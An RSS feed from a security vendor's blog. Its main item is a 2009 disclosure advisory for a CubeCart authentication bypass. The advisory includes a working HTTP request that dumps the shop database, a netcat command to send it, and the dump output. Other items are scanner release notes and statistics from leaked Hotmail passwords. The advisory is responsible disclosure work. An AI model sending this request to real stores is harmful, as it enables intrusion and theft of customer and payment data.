<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Acunetix Web Application Security Blog</title>
	
	<link>http://www.acunetix.com/blog</link>
	<description>Acunetix Web Application Security Blog</description>
	<lastBuildDate>Mon, 02 Nov 2009 11:26:04 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/acunetixwebapplicationsecurityblog" type="application/rss+xml" /><feedburner:emailServiceId>acunetixwebapplicationsecurityblog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
		<title>CubeCart 4 session management bypass leads to administrator access</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/U927oTYg3tk/</link>
		<comments>http://www.acunetix.com/blog/websecuritynews/cubecart-4-session-management-bypass-leads-to-administrator-access/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 13:13:00 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[Web Security News]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=801</guid>
		<description><![CDATA[Release Date: 2009/10/29
Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
Severity: Critical
Vendor Status: Vendor has released an updated version
Release Date: 2009/10/29
 Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
 Severity: Critical
 Vendor Status: Vendor has released an updated version
I. Background
From Wikipedia: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;"><img class="aligncenter size-full wp-image-806" title="cubecart_select_admin_loggedin" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedin1.PNG" alt="cubecart_select_admin_loggedin" width="688" height="102" />Release Date: 2009/10/29</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Author: Bogdan Calin (bogdan [at] acunetix [dot] com)</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Severity: Critical</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Vendor Status: Vendor has released an updated version</div>
<p><strong>Release Date</strong>: 2009/10/29<br />
<strong> Author</strong>: Bogdan Calin (bogdan [at] acunetix [dot] com)<br />
<strong> Severity</strong>: Critical<br />
<strong> Vendor Status</strong>: Vendor has released an updated version</p>
<p><strong>I. Background</strong></p>
<p><em>From Wikipedia</em>: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible and digital goods on line. CubeCart is not Open Source software, although full source code is available at no cost, and the custom licensing model allows for customisation of the code.<br />
&#8230;<br />
CubeCart has developed a large fanbase, due in part, to the relative ease of creating modifications and enhancements. In the September/October 2007 issue of Practical eCommerce magazine, CubeCart was placed at #1 in their list of &#8216;100 Most Notable Shopping Carts&#8217;.</p>
<p><strong>II. Description</strong></p>
<p>While auditing the source code of CubeCart version v4.3.4, I&#8217;ve found a critical vulnerability in this application. Session managament for administrative users is flawed. It is easy to bypass it without providing any credentials. An attacker can later perform any actions the administrator can, such as dumping the database, install modules (PHP code execution) and so on.</p>
<p>CubeCart is using a MySQL table named CubeCart_admin_users for storing information about administrative users.</p>
<p>When an administrator logs in, the applications stores his session ID, browser (user agent) and IP address in the sessId, browser and sessIP fields.</p>
<p><img class="aligncenter size-full wp-image-807" title="cubecart_select_admin_loggedin" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedin.PNG" alt="cubecart_select_admin_loggedin" width="688" height="102" /></p>
<p>When the adminstrator logs out, these values are cleared. So sessId and the others fields become empty (as in an empty string).</p>
<p><img class="aligncenter size-full wp-image-808" title="cubecart_select_admin_loggedout" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedout.PNG" alt="cubecart_select_admin_loggedout" width="692" height="97" /></p>
<p>Let&#8217;s analyze the code:</p>
<p>In <em>classes\session\cc_admin_session.php</em>, on line <strong>56 </strong>there is:</p>
<p><em>$query = sprintf(&#8221;SELECT * FROM &#8220;.$this-&gt;glob['dbprefix'].&#8221;CubeCart_admin_users WHERE sessId = %s&#8221;, $this-&gt;db-&gt;mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME]));</em></p>
<p>This will select the fields for the administrative user corresponding to the session identified by sessID.</p>
<p>But when the administrative user is logged out, sessID is empty. So, we can bypass this check by using an empty sessID.</p>
<p>There are 2 more checks that need to be bypassed:</p>
<p>There is this piece of code:</p>
<p><em>if (strpos($_SERVER['HTTP_USER_AGENT'],&#8217;AOL&#8217;) == false &amp;&amp; $ccAdminData[0]['sessIp'] !== $client_ip || $ccAdminData[0]['browser'] !== $_SERVER['HTTP_USER_AGENT']) {</em></p>
<p><span style="white-space: pre;"><em> </em></span><em>$this-&gt;logout();</em></p>
<p><span style="white-space: pre;"><em> </em></span><em>}</em></p>
<p>The HTTP_USER_AGENT check can be easily bypassed using an empty user agent.  How about the $client_ip check?  At first I was thinking that it&#8217;s not possible to bypass that.  Let&#8217;s look at the code:</p>
<p>Filename <em>includes\functions.inc.php</em>, line <strong>36</strong>:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_get_ip_address_source_code.PNG"><img class="size-medium wp-image-809 aligncenter" title="cubecart_get_ip_address_source_code" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_get_ip_address_source_code-300x248.PNG" alt="cubecart_get_ip_address_source_code" width="300" height="248" /></a></p>
<p>There are all these complex checks for validating $_SERVER['REMOTE_ADDR']. However, $_SERVER['REMOTE_ADDR'], which cannot be faked.  And then, on the second line there is:</p>
<p><em>if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])<br />
&amp;&amp; !detectSSL()) return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];</em></p>
<p>This line will bypass all those complex checks. So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value.  This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack to me.It was probably added later to fix some bug or add a new feature.</p>
<p><strong>III. Proof of concept</strong></p>
<p>The conclusion is that by entering empty sessId (ccAdmin cookie), user-agent and X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform any actions an adminstrator can perform.</p>
<p>Here is a sample HTTP request that will dump the whole database in one request:</p>
<pre>---------------------------------------------------------------------------------
POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="structure"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="data"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="dbbackup"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="submit"

Download Now
------WebKitFormBoundaryCpv+NVAHAgHHdvdI--

---------------------------------------------------------------------------------</pre>
<p>You can save it in a text file and use it with netcat (<a href="http://netcat.sourceforge.net/">http://netcat.sourceforge.net/</a>) like:</p>
<p><strong>&gt;nc bld02 80 &lt; db_dump.txt | more</strong></p>
<pre>HTTP/1.1 200 OK
Date: Tue, 20 Oct 2009 09:01:58 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Pragma: private
Cache-control: private, must-revalidate
Content-Disposition: attachment; filename=cubecartlatest_20Oct09.sql
Content-length: 80864
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

-- --------------------------------------------------------
-- CubeCart SQL Dump
-- version 4.3.4
-- http://www.cubecart.com
--
-- Host: localhost
-- Generation Time: Oct 20 2009, 12:01 PM
-- Server version: 5.0.67-0ubuntu6
-- PHP Version: 5.2.6-2ubuntu4.3
--
-- Database: `cubecartlatest`
-- --------------------------------------------------------

--
-- Table structure for table `CubeCart_Coupons`
--

...

CREATE TABLE `CubeCart_transactions` (
   `id` int(11) NOT NULL auto_increment,
   `gateway` varchar(255),
   `extra` varchar(255),
   `status` varchar(50),
   `customer_id` int(11),
   `order_id` varchar(255),
   `trans_id` varchar(50),
   `time` int(10),
   `amount` decimal(30,2),
   `remainder` decimal(30,2) DEFAULT '0.00' NOT NULL,
   `notes` text,
 PRIMARY KEY (`id`),
 KEY `customer_id` (`customer_id`)
) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COLLATE=utf8_unicode_ci ;

--
-- Dumping data for table `CubeCart_transactions`
--</pre>
<p>An administrator can install CubeCart packages, and it&#8217;s trivial to create a dummy package with a shell inside and install it.  Therefore, PHP code execution is possible and quite trivial.</p>
<p><strong>IV. Workaround</strong></p>
<p>The vendor was notified about this vulnerability on 20 October 2009 and they’ve released a fix on 26 October 2009<br />
The problem was fixed in CubeCart version 4.3.5, which is available here: <a href="http://forums.cubecart.com/index.php?showtopic=39691" target="_blank">http://forums.cubecart.com/index.php?showtopic=39691</a>.</p>
<p>However, the post &#8220;CubeCart 4.3.5 Released, Maintenance Release&#8221;, doesn&#8217;t include any information about this critical vulnerability.</p>
<blockquote><p>Whats new?</p>
<p>- URL&#8217;s Changed in WorldPay module to match &#8220;RBS Worldpay&#8221; branding<br />
- PayPal 3D Secure Fix &amp; Enhancements *<br />
- Moneybookers Payment Notification Fix<br />
- Database Class Optimization<br />
- Misc bugs&#8230;</p></blockquote>
<p>I find this behaviour completely unprofessional: a vendor should inform his customers when a serious vulnerability is fixed in their product, especially when the product is processing credit card data, like CubeCart does.</p>
<p><strong>Update:</strong> CubeCart <a href="http://forums.cubecart.com/index.php?showtopic=39748">responded and informed their customers about this vulnerability</a>. That&#8217;s great <img src='http://www.acunetix.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/U927oTYg3tk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/websecuritynews/cubecart-4-session-management-bypass-leads-to-administrator-access/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/websecuritynews/cubecart-4-session-management-bypass-leads-to-administrator-access/</feedburner:origLink></item>
		<item>
		<title>Acunetix WVS Version 6.5 build 20091027 released</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/9nIEZEYfCJ8/</link>
		<comments>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091027-released/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 14:52:21 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Product News]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[new build]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=794</guid>
		<description><![CDATA[An updated build for Acunetix WVS Version 6.5 has been released.  It includes a number of bug fixes.
Bug fixes:

Fixed: Redirect on LoginSequenceStep was not followed correctly
Fix in URL Rewrite module to remove GetVars before matching rules

How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build [...]]]></description>
			<content:encoded><![CDATA[<p style="font-size: 9pt; font-family: Arial, Helvetica, sans-serif; line-height: 12pt; text-align: justify;">An updated build for Acunetix WVS Version 6.5 has been released.  It includes a number of bug fixes.</p>
<p style="font-size: 9pt; font-family: Arial, Helvetica, sans-serif; line-height: 12pt; text-align: justify;"><strong>Bug fixes:</strong></p>
<ul style="font-size: 9pt; font-family: Arial, Helvetica, sans-serif; line-height: 12pt; text-align: justify; list-style-type: circle; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding: 0px;">
<li style="padding: 0px; margin: 0px;">Fixed: Redirect on LoginSequenceStep was not followed correctly</li>
<li style="padding: 0px; margin: 0px;">Fix in URL Rewrite module to remove GetVars before matching rules</li>
</ul>
<p style="font-size: 9pt; font-family: Arial, Helvetica, sans-serif; line-height: 12pt; text-align: justify;">How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</p>
<p style="font-size: 9pt; font-family: Arial, Helvetica, sans-serif; line-height: 12pt; text-align: justify;">Click <a href="http://www.acunetix.com/support/build-history.htm" target="_self">here</a> for the complete Acunetix WVS change log.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/9nIEZEYfCJ8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091027-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091027-released/</feedburner:origLink></item>
		<item>
		<title>Acunetix WVS Version 6.5 build 20091012 released</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/Oo08-68prU8/</link>
		<comments>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091012-released/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 10:11:35 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Product News]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[new build]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=789</guid>
		<description><![CDATA[An updated build for Acunetix WVS Version 6.5 has been released with some bug fixes.
Bug fixes:
Fixed: Memory leak when invoking state change handler
Fixed: Item index for an item which has just been inserted fails in the Browserframe
Fixed: Error in indexing the get variables when redirecting in Session management
How to upgrade: On starting up Acunetix WVS, [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An updated build for Acunetix WVS Version 6.5 has been released with some bug fixes.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bug fixes:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Memory leak when invoking state change handler</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Item index for an item which has just been inserted fails in the Browserframe</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Error in indexing the get variables when redirecting in Session management</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Click here for the complete Acunetix WVS change log.</div>
<p>An updated build for Acunetix WVS Version 6.5 has been released.  It includes a number of bug fixes.</p>
<p><strong>Bug fixes:</strong></p>
<ul>
<li>Fixed: Memory leak when invoking state change handler</li>
<li>Fixed: Item index for an item which has just been inserted fails in the Browserframe</li>
<li>Fixed: Error in indexing the get variables when redirecting in Session management</li>
</ul>
<p>How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</p>
<p>Click <a href="http://www.acunetix.com/support/build-history.htm" target="_blank">here</a> for the complete Acunetix WVS change log.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/Oo08-68prU8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091012-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091012-released/</feedburner:origLink></item>
		<item>
		<title>Statistics from 10,000 leaked Hotmail passwords</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/N653JVzhU_U/</link>
		<comments>http://www.acunetix.com/blog/websecuritynews/statistics-from-10000-leaked-hotmail-passwords/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 12:54:48 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[Web Security Articles]]></category>
		<category><![CDATA[Web Security News]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=750</guid>
		<description><![CDATA[An anonymous user posted usernames and passwords for over 10,000 Windows Live Hotmail accounts to web site PasteBin.
PasteBin is currently down for maintenance but I managed to get a copy of the list and quickly generated some statistics from these passwords.
First, my impression is that these passwords have been gathered using phishing kits.
Even more, I [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An anonymous user posted usernames and passwords for over 10,000 Windows Live Hotmail accounts to web site PasteBin.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">PasteBin is currently down for maintenance but I managed to get a copy of the list and quickly generated some statistics from these passwords.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">First, my impression is that these passwords have been gathered using phishing kits.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Even more, I think it was a badly designed phishing kit, one that didn&#8217;t further authenticated the users to the Hotmail/Live website.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">I think it just returned an error message after grabbing the credentials.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">I&#8217;m saying that because some of the passwords are repeated once or twice (sometimes with different capitalization).</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The users didn&#8217;t understand what happened and entered the same password again and again trying to login.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bellow are the statistics:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The list initially contained 10028 entries.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">After I&#8217;ve cleaned up the list, removing entries without a password, I&#8217;ve remained with 9843 entries (passwords).</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">There are 8931 (90%) unique passwords in the list.</div>
<p>An anonymous user posted usernames and passwords of over 10,000 Windows Live Hotmail accounts to a web site called PasteBin. PasteBin is currently down for maintenance but I managed to get a copy of the list, and quickly generated some statistics from these passwords.</p>
<p>My impression is that these passwords have been gathered using phishing kits.  Even more, the phishing kit used most probably was badly designed, since it was one that didn&#8217;t further authenticated the users to the Hotmail/Live website. I think it just returned an error message after grabbing the credentials.  I noticed this because some of the passwords are repeated once or twice (sometimes with different capitalization).  What most probably happened, is that the users didn&#8217;t understand what was happening, and they tried to enter the same password again and again, thinking the password was wrong.</p>
<p>Bellow are the statistics:</p>
<ul>
<li>The list initially contained 10,028 entries.</li>
<li>After I&#8217;ve cleaned up the list, like removing entries without a password,  I had 9843 valid entries (passwords).</li>
<li>There are 8931 (90%) unique passwords in the list.</li>
</ul>
<ul>
<li>The longest password was 30 chars long: <strong>lafaroleratropezoooooooooooooo</strong>.</li>
<li>The shortest password was 1 char long : <strong>)</strong></li>
</ul>
<p>Top 20 most common passwords:</p>
<ol>
<li><strong>123456 </strong>- 64</li>
<li><strong>123456789 </strong>- 18</li>
<li><strong>alejandra </strong>- 11</li>
<li><strong>111111 </strong>- 10</li>
<li><strong>alberto </strong>- 9</li>
<li><strong>tequiero </strong>- 9</li>
<li><strong>alejandro </strong>- 9</li>
<li><strong>12345678 </strong>- 9</li>
<li><strong>1234567 </strong>- 8</li>
<li><strong>estrella </strong>- 7</li>
<li>iloveyou  - 7</li>
<li>daniel  - 7</li>
<li>000000  - 7</li>
<li>roberto  - 7</li>
<li>654321  - 6</li>
<li>bonita  - 6</li>
<li>sebastian  - 6</li>
<li>beatriz  - 6</li>
<li>mariposa  - 5</li>
<li>america  - 5</li>
</ol>
<p>Based on these passwords I think the phishing kit was targeted towards the Latino community.</p>
<p>Password length distribution:</p>
<ul>
<li>1 chars &#8211; 2 &#8211; 0 %</li>
<li>2 chars &#8211; 4 &#8211; 0 %</li>
<li>3 chars &#8211; 4 &#8211; 0 %</li>
<li>4 chars &#8211; 31 &#8211; 0 %</li>
<li>5 chars &#8211; 49 &#8211; 1 %</li>
<li><strong>6 chars &#8211; 1946 &#8211; 22 %</strong></li>
<li><strong>7 chars &#8211; 1254 &#8211; 14 %</strong></li>
<li><strong>8 chars &#8211; 1838 &#8211; 21 %</strong></li>
<li><strong>9 chars &#8211; 1091 &#8211; 12 %</strong></li>
<li>10 chars &#8211; 772 &#8211; 9 %</li>
<li>11 chars &#8211; 527 &#8211; 6 %</li>
<li>12 chars &#8211; 431 &#8211; 5 %</li>
<li>13 chars &#8211; 290 &#8211; 3 %</li>
<li>14 chars &#8211; 219 &#8211; 2 %</li>
<li>15 chars &#8211; 157 &#8211; 2 %</li>
<li>16 chars &#8211; 190 &#8211; 2 %</li>
<li>17 chars &#8211; 56 &#8211; 1 %</li>
<li>18 chars &#8211; 17 &#8211; 0 %</li>
<li>19 chars &#8211; 7 &#8211; 0 %</li>
<li>20 chars &#8211; 14 &#8211; 0 %</li>
<li>21 chars &#8211; 10 &#8211; 0 %</li>
<li>22 chars &#8211; 8 &#8211; 0 %</li>
<li>23 chars &#8211; 3 &#8211; 0 %</li>
<li>24 chars &#8211; 3 &#8211; 0 %</li>
<li>25 chars &#8211; 3 &#8211; 0 %</li>
<li>26 chars &#8211; 0 &#8211; 0 %</li>
<li>27 chars &#8211; 3 &#8211; 0 %</li>
<li>28 chars &#8211; 0 &#8211; 0 %</li>
<li>29 chars &#8211; 1 &#8211; 0 %</li>
<li>30 chars &#8211; 1 &#8211; 0 %</li>
</ul>
<p>As you can see from the list above, most of the passwords are between <strong>6</strong> and <strong>9</strong> characters long.  Average password length is <strong>8</strong> characters.</p>
<p>What kind of passwords were in the list? :</p>
<ul>
<li><strong>3,713 = </strong><strong>42</strong> <strong>%;</strong> lower alpha passwords : passwords containing only characters from &#8216;a&#8217; to &#8216;z&#8217;.<br />
Example : <em>iloveyou</em></li>
<li><strong>291 = 3 %; </strong>mixed case alpha passwords : passwords containing  characters from &#8216;a&#8217; to &#8216;z&#8217; and from &#8216;A&#8217; to &#8216;Z&#8217;.<br />
Example: <em>ILoveYou</em></li>
<li><strong>1707 = 19 %; </strong>numeric passwords: passwords containing only numbers (&#8217;0&#8242; to &#8216;9&#8242;)<br />
Example: <em>123456</em></li>
<li><strong>2655 = 30 %; </strong>mixed alpha and numeric passwords: passwords containing characters from &#8216;a&#8217;-'z&#8217;, &#8216;A&#8217;-'Z&#8217; and &#8216;0&#8242;-&#8217;9&#8242;.<br />
Example: <em>Iloveyou12</em></li>
<li> <strong>565 = 6 %; </strong>mixed alpha + numeric + other characters.<br />
Example: <em>1Love You$%@</em></li>
</ul>
<p>As we can see and conclude from the list above, a big majority of users still use very poor passwords: <strong>42 </strong>% (lower alpha only) and <strong>19</strong> % (numeric only), while only <strong>6 </strong>% from all the passwords had passwords which use a selection of alpha numeric and other characters.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/N653JVzhU_U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/websecuritynews/statistics-from-10000-leaked-hotmail-passwords/feed/</wfw:commentRss>
		<slash:comments>163</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/websecuritynews/statistics-from-10000-leaked-hotmail-passwords/</feedburner:origLink></item>
		<item>
		<title>Acunetix WVS Version 6.5 build 20091005 released</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/fpZfp8mcdyc/</link>
		<comments>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091005-released/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 08:41:23 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Product News]]></category>
		<category><![CDATA[new build]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=748</guid>
		<description><![CDATA[An updated build for Acunetix WVS Version 6.5 has been released with some improvements, bug fixes and new security checks.
New:
Added a new check for SVN repositories
Improvements:
Improved MultiRequest paramenter manipulation; now using the form matcher to match parameter values
Improved SQL injection tests
Improved Application error tests
Bug Fixes:
Bug fixes:
Fixed: Links from HTML comments and other sources that are [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An updated build for Acunetix WVS Version 6.5 has been released with some improvements, bug fixes and new security checks.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">New:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Added a new check for SVN repositories</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improvements:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improved MultiRequest paramenter manipulation; now using the form matcher to match parameter values</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improved SQL injection tests</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improved Application error tests</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bug Fixes:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bug fixes:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Links from HTML comments and other sources that are not trusted where not checked if they are from the same host as the base</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Login sequence not working properly with HTTP authentication</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: MessageDlg was used in inittempfiles in console mode</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: WinInet bug to resent the request if the server accepts client certificates</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed: Redirect from index.php to index.php was not working</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</div>
